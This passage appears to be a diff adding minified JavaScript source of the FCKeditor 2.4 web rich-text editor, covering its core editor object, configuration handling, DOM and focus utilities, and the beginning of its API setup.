+var FCK={Name:FCKURLParams['InstanceName'],Status:0,EditMode:0,Toolbar:null,HasFocus:false,GetLinkedFieldValue:function(){return this.LinkedField.value;},GetParentForm:function(){return this.LinkedField.form;},StartupValue:'',IsDirty:function(){return (this.StartupValue!=this.EditorDocument.body.innerHTML);},ResetIsDirty:function(){if (this.EditorDocument.body) this.StartupValue=this.EditorDocument.body.innerHTML;},StartEditor:function(){this.TempBaseTag=FCKConfig.BaseHref.length>0?'<base href="'+FCKConfig.BaseHref+'" _fcktemp="true"></base>':'';var A=FCK.KeystrokeHandler=new FCKKeystrokeHandler();A.OnKeystroke=_FCK_KeystrokeHandler_OnKeystroke;A.SetKeystrokes(FCKConfig.Keystrokes);if (FCKBrowserInfo.IsIE7){if ((CTRL+86/*V*/) in A.Keystrokes) A.SetKeystrokes([CTRL+86,true]);if ((SHIFT+45/*INS*/) in A.Keystrokes) A.SetKeystrokes([SHIFT+45,true]);};this.EditingArea=new FCKEditingArea(document.getElementById('xEditingArea'));this.EditingArea.FFSpellChecker=false;this.SetHTML(this.GetLinkedFieldValue());},Focus:function(){FCK.EditingArea.Focus();},SetStatus:function(A){this.Status=A;if (A==1){FCKFocusManager.AddWindow(window,true);if (FCKBrowserInfo.IsIE) FCKFocusManager.AddWindow(window.frameElement,true);if (FCKConfig.StartupFocus) FCK.Focus();};this.Events.FireEvent('OnStatusChange',A);},FixBody:function(){var A=FCKConfig.EnterMode;if (A!='p'&&A!='div') return;var B=this.EditorDocument;if (!B) return;var C=B.body;if (!C) return;FCKDomTools.TrimNode(C);var D=C.firstChild;var E;while (D){var F=false;switch (D.nodeType){case 1:if (!FCKListsLib.BlockElements[D.nodeName.toLowerCase()]) F=true;break;case 3:if (E||D.nodeValue.Trim().length>0) F=true;};if (F){var G=D.parentNode;if (!E) E=G.insertBefore(B.createElement(A),D);E.appendChild(G.removeChild(D));D=E.nextSibling;}else{if (E){FCKDomTools.TrimNode(E);E=null;};D=D.nextSibling;}};if (E) FCKDomTools.TrimNode(E);},GetXHTML:function(A){if (FCK.EditMode==1) return FCK.EditingArea.Textarea.value;this.FixBody();var B;var C=FCK.EditorDocument;if (!C) return null;if (FCKConfig.FullPage) B=FCKXHtml.GetXHTML(C.getElementsByTagName('html')[0],true,A);else{if (FCKConfig.IgnoreEmptyParagraphValue&&C.body.innerHTML=='<P>&nbsp;</P>') B='';else B=FCKXHtml.GetXHTML(C.body,false,A);};B=FCK.ProtectEventsRestore(B);if (FCKBrowserInfo.IsIE) B=B.replace(FCKRegexLib.ToReplace,'$1');if (FCK.DocTypeDeclaration&&FCK.DocTypeDeclaration.length>0) B=FCK.DocTypeDeclaration+'\n'+B;if (FCK.XmlDeclaration&&FCK.XmlDeclaration.length>0) B=FCK.XmlDeclaration+'\n'+B;return FCKConfig.ProtectedSource.Revert(B);},UpdateLinkedField:function(){FCK.LinkedField.value=FCK.GetXHTML(FCKConfig.FormatOutput);FCK.Events.FireEvent('OnAfterLinkedFieldUpdate');},RegisteredDoubleClickHandlers:{},OnDoubleClick:function(A){var B=FCK.RegisteredDoubleClickHandlers[A.tagName];if (B) B(A);},RegisterDoubleClickHandler:function(A,B){FCK.RegisteredDoubleClickHandlers[B.toUpperCase()]=A;},OnAfterSetHTML:function(){FCKDocumentProcessor.Process(FCK.EditorDocument);FCKUndo.SaveUndoStep();FCK.Events.FireEvent('OnSelectionChange');FCK.Events.FireEvent('OnAfterSetHTML');},ProtectUrls:function(A){A=A.replace(FCKRegexLib.ProtectUrlsA,'$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2');A=A.replace(FCKRegexLib.ProtectUrlsImg,'$1$4$2$3$5$2 _fcksavedurl=$2$3$5$2');return A;},ProtectEvents:function(A){return A.replace(FCKRegexLib.TagsWithEvent,_FCK_ProtectEvents_ReplaceTags);},ProtectEventsRestore:function(A){return A.replace(FCKRegexLib.ProtectedEvents,_FCK_ProtectEvents_RestoreEvents);},ProtectTags:function(A){var B='META';if (FCKConfig.ProtectedTags.length>0) B+='|'+FCKConfig.ProtectedTags;if (FCKBrowserInfo.IsIE) B+='|ABBR';var C=new RegExp('<('+B+')([ \>])','gi');A=A.replace(C,'<FCK:$1$2');C=new RegExp('<\/('+B+')>','gi');A=A.replace(C,'<\/FCK:$1>');return A;},SetHTML:function(A){this.EditingArea.Mode=FCK.EditMode;if (FCK.EditMode==0){A=FCKConfig.ProtectedSource.Protect(A);A=FCK.ProtectEvents(A);A=FCK.ProtectUrls(A);A=FCK.ProtectTags(A);if (FCKBrowserInfo.IsGecko){A=A.replace(FCKRegexLib.StrongOpener,'<b$1');A=A.replace(FCKRegexLib.StrongCloser,'<\/b>');A=A.replace(FCKRegexLib.EmOpener,'<i$1');A=A.replace(FCKRegexLib.EmCloser,'<\/i>');};var B='';if (FCKConfig.FullPage){if (!FCKRegexLib.HeadOpener.test(A)){if (!FCKRegexLib.HtmlOpener.test(A)) A='<html dir="'+FCKConfig.ContentLangDirection+'">'+A+'</html>';A=A.replace(FCKRegexLib.HtmlOpener,'$&<head></head>');};FCK.DocTypeDeclaration=A.match(FCKRegexLib.DocTypeTag);if (FCKBrowserInfo.IsIE) B=FCK._GetBehaviorsStyle();else if (FCKConfig.ShowBorders) B='<link href="'+FCKConfig.FullBasePath+'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B+='<link href="'+FCKConfig.FullBasePath+'css/fck_internal.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B=A.replace(FCKRegexLib.HeadCloser,B+'$&');if (FCK.TempBaseTag.length>0&&!FCKRegexLib.HasBaseTag.test(A)) B=B.replace(FCKRegexLib.HeadOpener,'$&'+FCK.TempBaseTag);}else{B=FCKConfig.DocType+'<html dir="'+FCKConfig.ContentLangDirection+'"';if (FCKBrowserInfo.IsIE&&!FCKRegexLib.Html4DocType.test(FCKConfig.DocType)) B+=' style="overflow-y: scroll"';B+='><head><title></title>'+_FCK_GetEditorAreaStyleTags()+'<link href="'+FCKConfig.FullBasePath+'css/fck_internal.css" rel="stylesheet" type="text/css" _fcktemp="true" />';if (FCKBrowserInfo.IsIE) B+=FCK._GetBehaviorsStyle();else if (FCKConfig.ShowBorders) B+='<link href="'+FCKConfig.FullBasePath+'css/fck_showtableborders_gecko.css" rel="stylesheet" type="text/css" _fcktemp="true" />';B+=FCK.TempBaseTag;var C='<body';if (FCKConfig.BodyId&&FCKConfig.BodyId.length>0) C+=' id="'+FCKConfig.BodyId+'"';if (FCKConfig.BodyClass&&FCKConfig.BodyClass.length>0) C+=' class="'+FCKConfig.BodyClass+'"';B+='</head>'+C+'>';if (FCKBrowserInfo.IsGecko&&(A.length==0||FCKRegexLib.EmptyParagraph.test(A))) B+=GECKO_BOGUS;else B+=A;B+='</body></html>';};this.EditingArea.OnLoad=_FCK_EditingArea_OnLoad;this.EditingArea.Start(B);}else{FCK.EditorWindow=null;FCK.EditorDocument=null;this.EditingArea.OnLoad=null;this.EditingArea.Start(A);this.EditingArea.Textarea._FCKShowContextMenu=true;FCK.EnterKeyHandler=null;FCK.KeystrokeHandler.AttachToElement(this.EditingArea.Textarea);this.EditingArea.Textarea.focus();FCK.Events.FireEvent('OnAfterSetHTML');};if (FCKBrowserInfo.IsGecko) window.onresize();},HasFocus:false,RedirectNamedCommands:{},ExecuteNamedCommand:function(A,B,C){FCKUndo.SaveUndoStep();if (!C&&FCK.RedirectNamedCommands[A]!=null) FCK.ExecuteRedirectedNamedCommand(A,B);else{FCK.Focus();FCK.EditorDocument.execCommand(A,false,B);FCK.Events.FireEvent('OnSelectionChange');};FCKUndo.SaveUndoStep();},GetNamedCommandState:function(A){try{if (!FCK.EditorDocument.queryCommandEnabled(A)) return -1;else return FCK.EditorDocument.queryCommandState(A)?1:0;}catch (e){return 0;}},GetNamedCommandValue:function(A){var B='';var C=FCK.GetNamedCommandState(A);if (C==-1) return null;try{B=this.EditorDocument.queryCommandValue(A);}catch(e) {};return B?B:'';},PasteFromWord:function(){FCKDialog.OpenDialog('FCKDialog_Paste',FCKLang.PasteFromWord,'dialog/fck_paste.html',400,330,'Word');},Preview:function(){var A=FCKConfig.ScreenWidth*0.8;var B=FCKConfig.ScreenHeight*0.7;var C=(FCKConfig.ScreenWidth-A)/2;var D=window.open('',null,'toolbar=yes,location=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width='+A+',height='+B+',left='+C);var E;if (FCKConfig.FullPage){if (FCK.TempBaseTag.length>0) E=FCK.TempBaseTag+FCK.GetXHTML();else E=FCK.GetXHTML();}else{E=FCKConfig.DocType+'<html dir="'+FCKConfig.ContentLangDirection+'"><head>'+FCK.TempBaseTag+'<title>'+FCKLang.Preview+'</title>'+_FCK_GetEditorAreaStyleTags()+'</head><body>'+FCK.GetXHTML()+'</body></html>';};D.document.write(E);D.document.close();},SwitchEditMode:function(A){var B=(FCK.EditMode==0);var C;if (B){if (!A&&FCKBrowserInfo.IsIE) FCKUndo.SaveUndoStep();C=FCK.GetXHTML(FCKConfig.FormatSource);if (C==null) return false;}else C=this.EditingArea.Textarea.value;FCK.EditMode=B?1:0;FCK.SetHTML(C);FCK.Focus();FCKTools.RunFunction(FCK.ToolbarSet.RefreshModeState,FCK.ToolbarSet);return true;},CreateElement:function(A){var e=FCK.EditorDocument.createElement(A);return FCK.InsertElementAndGetIt(e);},InsertElementAndGetIt:function(e){e.setAttribute('FCKTempLabel','true');this.InsertElement(e);var A=FCK.EditorDocument.getElementsByTagName(e.tagName);for (var i=0;i<A.length;i++){if (A[i].getAttribute('FCKTempLabel')){A[i].removeAttribute('FCKTempLabel');return A[i];}};return null;}};FCK.Events=new FCKEvents(FCK);FCK.GetHTML=FCK.GetXHTML;function _FCK_ProtectEvents_ReplaceTags(A){return A.replace(FCKRegexLib.EventAttributes,_FCK_ProtectEvents_ReplaceEvents);};function _FCK_ProtectEvents_ReplaceEvents(A,B){return ' '+B+'_fckprotectedatt="'+A.ReplaceAll([/&/g,/'/g,/"/g,/=/g,/</g,/>/g,/\r/g,/\n/g],['&apos;','&#39;','&quot;','&#61;','&lt;','&gt;','&#10;','&#13;'])+'"';};function _FCK_ProtectEvents_RestoreEvents(A,B){return B.ReplaceAll([/&#39;/g,/&quot;/g,/&#61;/g,/&lt;/g,/&gt;/g,/&#10;/g,/&#13;/g,/&apos;/g],["'",'"','=','<','>','\r','\n','&']);};function _FCK_EditingArea_OnLoad(){FCK.EditorWindow=FCK.EditingArea.Window;FCK.EditorDocument=FCK.EditingArea.Document;FCK.InitializeBehaviors();if (!FCKConfig.DisableEnterKeyHandler) FCK.EnterKeyHandler=new FCKEnterKey(FCK.EditorWindow,FCKConfig.EnterMode,FCKConfig.ShiftEnterMode);FCK.KeystrokeHandler.AttachToElement(FCK.EditorDocument);FCK.OnAfterSetHTML();if (FCK.Status!=0) return;FCK.ResetIsDirty();FCK.SetStatus(1);};function _FCK_GetEditorAreaStyleTags(){var A='';var B=FCKConfig.EditorAreaCSS;for (var i=0;i<B.length;i++) A+='<link href="'+B[i]+'" rel="stylesheet" type="text/css" />';return A;};function _FCK_KeystrokeHandler_OnKeystroke(A,B){if (FCK.Status!=2) return false;if (FCK.EditMode==0){if (B=='Paste') return!FCK.Events.FireEvent('OnPaste');}else{if (B.Equals('Paste','Undo','Redo','SelectAll')) return false;};var C=FCK.Commands.GetCommand(B);return (C.Execute.apply(C,FCKTools.ArgumentsToArray(arguments,2))!==false);};(function(){var A=window.parent.document;var B=A.getElementById(FCK.Name);var i=0;while (B||i==0){if (B&&B.tagName.toLowerCase().Equals('input','textarea')){FCK.LinkedField=B;break;};B=A.getElementsByName(FCK.Name)[i++];}})();var FCKTempBin={Elements:[],AddElement:function(A){var B=this.Elements.length;this.Elements[B]=A;return B;},RemoveElement:function(A){var e=this.Elements[A];this.Elements[A]=null;return e;},Reset:function(){var i=0;while (i<this.Elements.length) this.Elements[i++]==null;this.Elements.length=0;}};var FCKFocusManager=FCK.FocusManager={IsLocked:false,AddWindow:function(A,B){var C;if (FCKBrowserInfo.IsIE) C=A.nodeType==1?A:A.frameElement?A.frameElement:A.document;else C=A.document;FCKTools.AddEventListener(C,'blur',FCKFocusManager_Win_OnBlur);FCKTools.AddEventListener(C,'focus',B?FCKFocusManager_Win_OnFocus_Area:FCKFocusManager_Win_OnFocus);},RemoveWindow:function(A){if (FCKBrowserInfo.IsIE) oTarget=A.nodeType==1?A:A.frameElement?A.frameElement:A.document;else oTarget=A.document;FCKTools.RemoveEventListener(oTarget,'blur',FCKFocusManager_Win_OnBlur);FCKTools.RemoveEventListener(oTarget,'focus',FCKFocusManager_Win_OnFocus_Area);FCKTools.RemoveEventListener(oTarget,'focus',FCKFocusManager_Win_OnFocus);},Lock:function(){this.IsLocked=true;},Unlock:function(){if (this._HasPendingBlur) FCKFocusManager._Timer=window.setTimeout(FCKFocusManager_FireOnBlur,100);this.IsLocked=false;},_ResetTimer:function(){this._HasPendingBlur=false;if (this._Timer){window.clearTimeout(this._Timer);delete this._Timer;}}};function FCKFocusManager_Win_OnBlur(){if (typeof(FCK)!='undefined'&&FCK.HasFocus){FCKFocusManager._ResetTimer();FCKFocusManager._Timer=window.setTimeout(FCKFocusManager_FireOnBlur,100);}};function FCKFocusManager_FireOnBlur(){if (FCKFocusManager.IsLocked) FCKFocusManager._HasPendingBlur=true;else{FCK.HasFocus=false;FCK.Events.FireEvent("OnBlur");}};function FCKFocusManager_Win_OnFocus_Area(){FCK.Focus();FCKFocusManager_Win_OnFocus();};function FCKFocusManager_Win_OnFocus(){FCKFocusManager._ResetTimer();if (!FCK.HasFocus&&!FCKFocusManager.IsLocked){FCK.HasFocus=true;FCK.Events.FireEvent("OnFocus");}};
+FCK.Description="FCKeditor for Gecko Browsers";FCK.InitializeBehaviors=function(){if (FCKBrowserInfo.IsGecko) Window_OnResize();FCKFocusManager.AddWindow(this.EditorWindow);this.ExecOnSelectionChange=function(){FCK.Events.FireEvent("OnSelectionChange");};this.ExecOnSelectionChangeTimer=function(){if (FCK.LastOnChangeTimer) window.clearTimeout(FCK.LastOnChangeTimer);FCK.LastOnChangeTimer=window.setTimeout(FCK.ExecOnSelectionChange,100);};this.EditorDocument.addEventListener('mouseup',this.ExecOnSelectionChange,false);this.EditorDocument.addEventListener('keyup',this.ExecOnSelectionChangeTimer,false);this._DblClickListener=function(e){FCK.OnDoubleClick(e.target);e.stopPropagation();};this.EditorDocument.addEventListener('dblclick',this._DblClickListener,true);FCK.ContextMenu._InnerContextMenu.SetMouseClickWindow(FCK.EditorWindow);FCK.ContextMenu._InnerContextMenu.AttachToElement(FCK.EditorDocument);};FCK.MakeEditable=function(){this.EditingArea.MakeEditable();};function Document_OnContextMenu(e){if (!e.target._FCKShowContextMenu) e.preventDefault();};document.oncontextmenu=Document_OnContextMenu;FCK._BaseGetNamedCommandState=FCK.GetNamedCommandState;FCK.GetNamedCommandState=function(A){switch (A){case 'Unlink':return FCKSelection.HasAncestorNode('A')?0:-1;default:return FCK._BaseGetNamedCommandState(A);}};FCK.RedirectNamedCommands={Print:true,Paste:true,Cut:true,Copy:true};FCK.ExecuteRedirectedNamedCommand=function(A,B){switch (A){case 'Print':FCK.EditorWindow.print();break;case 'Paste':try                      { if (FCK.Paste()) FCK.ExecuteNamedCommand('Paste',null,true);}catch (e)        { alert(FCKLang.PasteErrorPaste);};break;case 'Cut':try                 { FCK.ExecuteNamedCommand('Cut',null,true);}catch (e)   { alert(FCKLang.PasteErrorCut);};break;case 'Copy':try                  { FCK.ExecuteNamedCommand('Copy',null,true);}catch (e)  { alert(FCKLang.PasteErrorCopy);};break;default:FCK.ExecuteNamedCommand(A,B);}};FCK.AttachToOnSelectionChange=function(A){this.Events.AttachEvent('OnSelectionChange',A);};FCK.Paste=function(){if (FCKConfig.ForcePasteAsPlainText){FCK.PasteAsPlainText();return false;};return true;};FCK.InsertHtml=function(A){A=FCKConfig.ProtectedSource.Protect(A);A=FCK.ProtectUrls(A);var B=FCKSelection.Delete();var C=B.getRangeAt(0);var D=C.createContextualFragment(A);var E=D.lastChild;C.insertNode(D);FCKSelection.SelectNode(E);FCKSelection.Collapse(false);this.Focus();};FCK.InsertElement=function(A){var B=FCKSelection.Delete();var C=B.getRangeAt(0);C.insertNode(A);FCKSelection.SelectNode(A);FCKSelection.Collapse(false);this.Focus();};FCK.PasteAsPlainText=function(){FCKDialog.OpenDialog('FCKDialog_Paste',FCKLang.PasteAsText,'dialog/fck_paste.html',400,330,'PlainText');};FCK.GetClipboardHTML=function(){return '';};FCK.CreateLink=function(A){FCK.ExecuteNamedCommand('Unlink');if (A.length>0){var B='javascript:void(0);/*'+(new Date().getTime())+'*/';FCK.ExecuteNamedCommand('CreateLink',B);var C=this.EditorDocument.evaluate("//a[@href='"+B+"']",this.EditorDocument.body,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null).singleNodeValue;if (C){C.href=A;return C;}};return null;};
+var FCKConfig=FCK.Config={};if (document.location.protocol=='file:'){FCKConfig.BasePath=decodeURIComponent(document.location.pathname.substr(1));FCKConfig.BasePath=FCKConfig.BasePath.replace(/\\/gi, '/');FCKConfig.BasePath='file://'+FCKConfig.BasePath.substring(0,FCKConfig.BasePath.lastIndexOf('/')+1);FCKConfig.FullBasePath=FCKConfig.BasePath;}else{FCKConfig.BasePath=document.location.pathname.substring(0,document.location.pathname.lastIndexOf('/')+1);FCKConfig.FullBasePath=document.location.protocol+'//'+document.location.host+FCKConfig.BasePath;};FCKConfig.EditorPath=FCKConfig.BasePath.replace(/editor\/$/,'');try{FCKConfig.ScreenWidth=screen.width;FCKConfig.ScreenHeight=screen.height;}catch (e){FCKConfig.ScreenWidth=800;FCKConfig.ScreenHeight=600;};FCKConfig.ProcessHiddenField=function(){this.PageConfig={};var A=window.parent.document.getElementById(FCK.Name+'___Config');if (!A) return;var B=A.value.split('&');for (var i=0;i<B.length;i++){if (B[i].length==0) continue;var C=B[i].split('=');var D=decodeURIComponent(C[0]);var E=decodeURIComponent(C[1]);if (D=='CustomConfigurationsPath') FCKConfig[D]=E;else if (E.toLowerCase()=="true") this.PageConfig[D]=true;else if (E.toLowerCase()=="false") this.PageConfig[D]=false;else if (E.length>0&&!isNaN(E)) this.PageConfig[D]=parseInt(E,10);else this.PageConfig[D]=E;}};function FCKConfig_LoadPageConfig(){var A=FCKConfig.PageConfig;for (var B in A) FCKConfig[B]=A[B];};function FCKConfig_PreProcess(){var A=FCKConfig;if (A.AllowQueryStringDebug){try{if ((/fckdebug=true/i).test(window.top.location.search)) A.Debug=true;}catch (e) {/*Ignore it. Much probably we are inside a FRAME where the "top" is in another domain (security error).*/}};if (!A.PluginsPath.EndsWith('/')) A.PluginsPath+='/';if (typeof(A.EditorAreaCSS)=='string') A.EditorAreaCSS=[A.EditorAreaCSS];var B=A.ToolbarComboPreviewCSS;if (!B||B.length==0) A.ToolbarComboPreviewCSS=A.EditorAreaCSS;else if (typeof(B)=='string') A.ToolbarComboPreviewCSS=[B];};FCKConfig.ToolbarSets={};FCKConfig.Plugins={};FCKConfig.Plugins.Items=[];FCKConfig.Plugins.Add=function(A,B,C){FCKConfig.Plugins.Items.AddItem([A,B,C]);};FCKConfig.ProtectedSource={};FCKConfig.ProtectedSource.RegexEntries=[/<!--[\s\S]*?-->/g,/<script[\s\S]*?<\/script>/gi,/<noscript[\s\S]*?<\/noscript>/gi];FCKConfig.ProtectedSource.Add=function(A){this.RegexEntries.AddItem(A);};FCKConfig.ProtectedSource.Protect=function(A){function _Replace(protectedSource){var B=FCKTempBin.AddElement(protectedSource);return '<!--{PS..'+B+'}-->';};for (var i=0;i<this.RegexEntries.length;i++){A=A.replace(this.RegexEntries[i],_Replace);};return A;};FCKConfig.ProtectedSource.Revert=function(A,B){function _Replace(m,opener,index){var C=B?FCKTempBin.RemoveElement(index):FCKTempBin.Elements[index];return FCKConfig.ProtectedSource.Revert(C,B);};return A.replace(/(<|&lt;)!--\{PS..(\d+)\}--(>|&gt;)/g,_Replace);}
+var FCKDebug={};FCKDebug._GetWindow=function(){if (!this.DebugWindow||this.DebugWindow.closed) this.DebugWindow=window.open(FCKConfig.BasePath+'fckdebug.html','FCKeditorDebug','menubar=no,scrollbars=yes,resizable=yes,location=no,toolbar=no,width=600,height=500',true);return this.DebugWindow;};FCKDebug.Output=function(A,B,C){if (!FCKConfig.Debug) return;try{this._GetWindow().Output(A,B);}catch (e) {}};FCKDebug.OutputObject=function(A,B){if (!FCKConfig.Debug) return;try{this._GetWindow().OutputObject(A,B);}catch (e) {}}
+var FCKDomTools={MoveChildren:function(A,B){if (A==B) return;var C;while ((C=A.firstChild)) B.appendChild(A.removeChild(C));},TrimNode:function(A,B){this.LTrimNode(A);this.RTrimNode(A,B);},LTrimNode:function(A){var B;while ((B=A.firstChild)){if (B.nodeType==3){var C=B.nodeValue.LTrim();var D=B.nodeValue.length;if (C.length==0){A.removeChild(B);continue;}else if (C.length<D){B.splitText(D-C.length);A.removeChild(A.firstChild);}};break;}},RTrimNode:function(A,B){var C;while ((C=A.lastChild)){switch (C.nodeType){case 1:if (C.nodeName.toUpperCase()=='BR'&&(B||C.getAttribute('type',2)=='_moz')){A.removeChild(C);continue;};break;case 3:var D=C.nodeValue.RTrim();var E=C.nodeValue.length;if (D.length==0){A.removeChild(C);continue;}else if (D.length<E){C.splitText(D.length);A.removeChild(A.lastChild);}};break;}},RemoveNode:function(A,B){if (B){var C;while ((C=A.firstChild)) A.parentNode.insertBefore(A.removeChild(C),A);};return A.parentNode.removeChild(A);},GetFirstChild:function(A,B){if (typeof (B)=='string') B=[B];var C=A.firstChild;while(C){if (C.nodeType==1&&C.tagName.Equals.apply(C.tagName,B)) return C;C=C.nextSibling;};return null;},GetLastChild:function(A,B){if (typeof (B)=='string') B=[B];var C=A.lastChild;while(C){if (C.nodeType==1&&(!B||C.tagName.Equals(B))) return C;C=C.previousSibling;};return null;},GetPreviousSourceElement:function(A,B,C,D){if (!A) return null;if (C&&A.nodeType==1&&A.nodeName.IEquals(C)) return null;if (A.previousSibling) A=A.previousSibling;else return this.GetPreviousSourceElement(A.parentNode,B,C,D);while (A){if (A.nodeType==1){if (C&&A.nodeName.IEquals(C)) break;if (!D||!A.nodeName.IEquals(D)) return A;}else if (B&&A.nodeType==3&&A.nodeValue.RTrim().length>0) break;if (A.lastChild) A=A.lastChild;else return this.GetPreviousSourceElement(A,B,C,D);};return null;},GetNextSourceElement:function(A,B,C,D){if (!A) return null;if (A.nextSibling) A=A.nextSibling;else return this.GetNextSourceElement(A.parentNode,B,C,D);while (A){if (A.nodeType==1){if (C&&A.nodeName.IEquals(C)) break;if (!D||!A.nodeName.IEquals(D)) return A;}else if (B&&A.nodeType==3&&A.nodeValue.RTrim().length>0) break;if (A.firstChild) A=A.firstChild;else return this.GetNextSourceElement(A,B,C,D);};return null;},InsertAfterNode:function(A,B){return A.parentNode.insertBefore(B,A.nextSibling);},GetParents:function(A){var B=[];while (A){B.splice(0,0,A);A=A.parentNode;};return B;},GetIndexOf:function(A){var B=A.parentNode?A.parentNode.firstChild:null;var C=-1;while (B){C++;if (B==A) return C;B=B.nextSibling;};return-1;}};
+var GECKO_BOGUS='<br type="_moz">';var FCKTools={};FCKTools.CreateBogusBR=function(A){var B=A.createElement('br');B.setAttribute('type','_moz');return B;};FCKTools.AppendStyleSheet=function(A,B){if (typeof(B)=='string') return this._AppendStyleSheet(A,B);else{var C=[];for (var i=0;i<B.length;i++) C.push(this._AppendStyleSheet(A,B[i]));return C;}};FCKTools.GetElementDocument=function (A){return A.ownerDocument||A.document;};FCKTools.GetElementWindow=function(A){return this.GetDocumentWindow(this.GetElementDocument(A));};FCKTools.GetDocumentWindow=function(A){if (FCKBrowserInfo.IsSafari&&!A.parentWindow) this.FixDocumentParentWindow(window.top);return A.parentWindow||A.defaultView;};FCKTools.FixDocumentParentWindow=function(A){A.document.parentWindow=A;for (var i=0;i<A.frames.length;i++) FCKTools.FixDocumentParentWindow(A.frames[i]);};FCKTools.HTMLEncode=function(A){if (!A) return '';A=A.replace(/&/g,'&amp;');A=A.replace(/</g,'&lt;');A=A.replace(/>/g,'&gt;');return A;};FCKTools.AddSelectOption=function(A,B,C){var D=FCKTools.GetElementDocument(A).createElement("OPTION");D.text=B;D.value=C;A.options.add(D);return D;};FCKTools.RunFunction=function(A,B,C,D){if (A) this.SetTimeout(A,0,B,C,D);};FCKTools.SetTimeout=function(A,B,C,D,E){return (E||window).setTimeout(function(){if (D) A.apply(C,[].concat(D));else A.apply(C);},B);};FCKTools.SetInterval=function(A,B,C,D,E){return (E||window).setInterval(function(){A.apply(C,D||[]);},B);};FCKTools.ConvertStyleSizeToHtml=function(A){return A.EndsWith('%')?A:parseInt(A,10);};FCKTools.ConvertHtmlSizeToStyle=function(A){return A.EndsWith('%')?A:(A+'px');};FCKTools.GetElementAscensor=function(A,B){var e=A;var C=","+B.toUpperCase()+",";while (e){if (C.indexOf(","+e.nodeName.toUpperCase()+",")!=-1) return e;e=e.parentNode;};return null;};FCKTools.CreateEventListener=function(A,B){var f=function(){var C=[];for (var i=0;i<arguments.length;i++) C.push(arguments[i]);A.apply(this,C.concat(B));};return f;};FCKTools.IsStrictMode=function(A){return ('CSS1Compat'==(A.compatMode||'CSS1Compat'));};FCKTools.ArgumentsToArray=function(A,B,C){B=B||0;C=C||A.length;var D=[];for (var i=B;i<B+C&&i<A.length;i++) D.push(A[i]);return D;};FCKTools.CloneObject=function(A){var B=function() {};B.prototype=A;return new B;};
+FCKTools.CancelEvent=function(e){if (e) e.preventDefault();};FCKTools.DisableSelection=function(A){if (FCKBrowserInfo.IsGecko) A.style.MozUserSelect='none';else A.style.userSelect='none';};FCKTools._AppendStyleSheet=function(A,B){var e=A.createElement('LINK');e.rel='stylesheet';e.type='text/css';e.href=B;A.getElementsByTagName("HEAD")[0].appendChild(e);return e;};FCKTools.ClearElementAttributes=function(A){for (var i=0;i<A.attributes.length;i++){A.removeAttribute(A.attributes[i].name,0);}};FCKTools.GetAllChildrenIds=function(A){var B=[];var C=function(parent){for (var i=0;i<parent.childNodes.length;i++){var D=parent.childNodes[i].id;if (D&&D.length>0) B[B.length]=D;C(parent.childNodes[i]);}};C(A);return B;};FCKTools.RemoveOuterTags=function(e){var A=e.ownerDocument.createDocumentFragment();for (var i=0;i<e.childNodes.length;i++) A.appendChild(e.childNodes[i].cloneNode(true));e.parentNode.replaceChild(A,e);};FCKTools.CreateXmlObject=function(A){switch (A){case 'XmlHttp':return new XMLHttpRequest();case 'DOMDocument':return document.implementation.createDocument('','',null);};return null;};FCKTools.GetScrollPosition=function(A){return { X:A.pageXOffset,Y:A.pageYOffset };};FCKTools.AddEventListener=function(A,B,C){A.addEventListener(B,C,false);};FCKTools.RemoveEventListener=function(A,B,C){A.removeEventListener(B,C,false);};FCKTools.AddEventListenerEx=function(A,B,C,D){A.addEventListener(B,function(e){C.apply(A,[e].concat(D||[]));},false);};FCKTools.GetViewPaneSize=function(A){return { Width:A.innerWidth,Height:A.innerHeight };};FCKTools.SaveStyles=function(A){var B={};if (A.className.length>0){B.Class=A.className;A.className='';};var C=A.getAttribute('style');if (C&&C.length>0){B.Inline=C;A.setAttribute('style','',0);};return B;};FCKTools.RestoreStyles=function(A,B){A.className=B.Class||'';if (B.Inline) A.setAttribute('style',B.Inline,0);else A.removeAttribute('style',0);};FCKTools.RegisterDollarFunction=function(A){A.$=function(id){return this.document.getElementById(id);};};FCKTools.AppendElement=function(A,B){return A.appendChild(A.ownerDocument.createElement(B));};FCKTools.GetElementPosition=function(A,B){var c={ X:0,Y:0 };var C=B||window;var D=FCKTools.GetElementWindow(A);while (A){var E=D.getComputedStyle(A,'').position;if (E&&E!='static'&&A.style.zIndex!=FCKConfig.FloatingPanelsZIndex) break;c.X+=A.offsetLeft-A.scrollLeft;c.Y+=A.offsetTop-A.scrollTop;if (A.offsetParent) A=A.offsetParent;else{if (D!=C){A=D.frameElement;if (A) D=FCKTools.GetElementWindow(A);}else{c.X+=A.scrollLeft;c.Y+=A.scrollTop;break;}}};return c;}
+var FCKeditorAPI;function InitializeAPI(){var A=window.parent;if (!(FCKeditorAPI=A.FCKeditorAPI)){var B='var FCKeditorAPI = {Version : "2.4",VersionBuild : "1148",__Instances : new Object(),GetInstance : function( name ){return this.__Instances[ name ];},_FormSubmit : function(){for ( var name in FCKeditorAPI.__Instances ){var oEditor = FCKeditorAPI.__Instances[ name ] ;if ( oEditor.GetParentForm() == this )oEditor.UpdateLinkedField() ;}this._FCKOriginalSubmit() ;},_FunctionQueue   : {Functions : new Array(),IsRunning : false,Add : function( f ){this.Functions.push( f );if ( !this.IsRunning )this.StartNext();},StartNext : function(){var aQueue = this.Functions ;if ( aQueue.length > 0 ){this.IsRunning = true;aQueue[0].call();}else this.IsRunning = false;},Remove : function( f ){var aQueue = this.Functions;var i = 0, fFunc;while( (fFunc = aQueue[ i ]) ){if ( fFunc == f )aQueue.splice( i,1 );i++ ;}this.StartNext();}}}';if (A.execScript) A.execScript(B,'JavaScript');else{if (FCKBrowserInfo.IsGecko10){eval.call(A,B);}else if (FCKBrowserInfo.IsSafari){var C=A.document;var D=C.createElement('script');D.appendChild(C.createTextNode(B));C.documentElement.appendChild(D);}else A.eval(B);};FCKeditorAPI=A.FCKeditorAPI;};FCKeditorAPI.__Instances[FCK.Name]=FCK;};function _AttachFormSubmitToAPI(){var A=FCK.GetParentForm();if (A){FCKTools.AddEventListener(A,'submit',FCK.UpdateLinkedField);if (!A._FCKOriginalSubmit&&(typeof(A.submit)=='function'||(!A.submit.tagName&&!A.submit.length))){A._FCKOriginalSubmit=A.submit;A.submit=FCKeditorAPI._FormSubmit;}}};function FCKeditorAPI_Cleanup(){delete 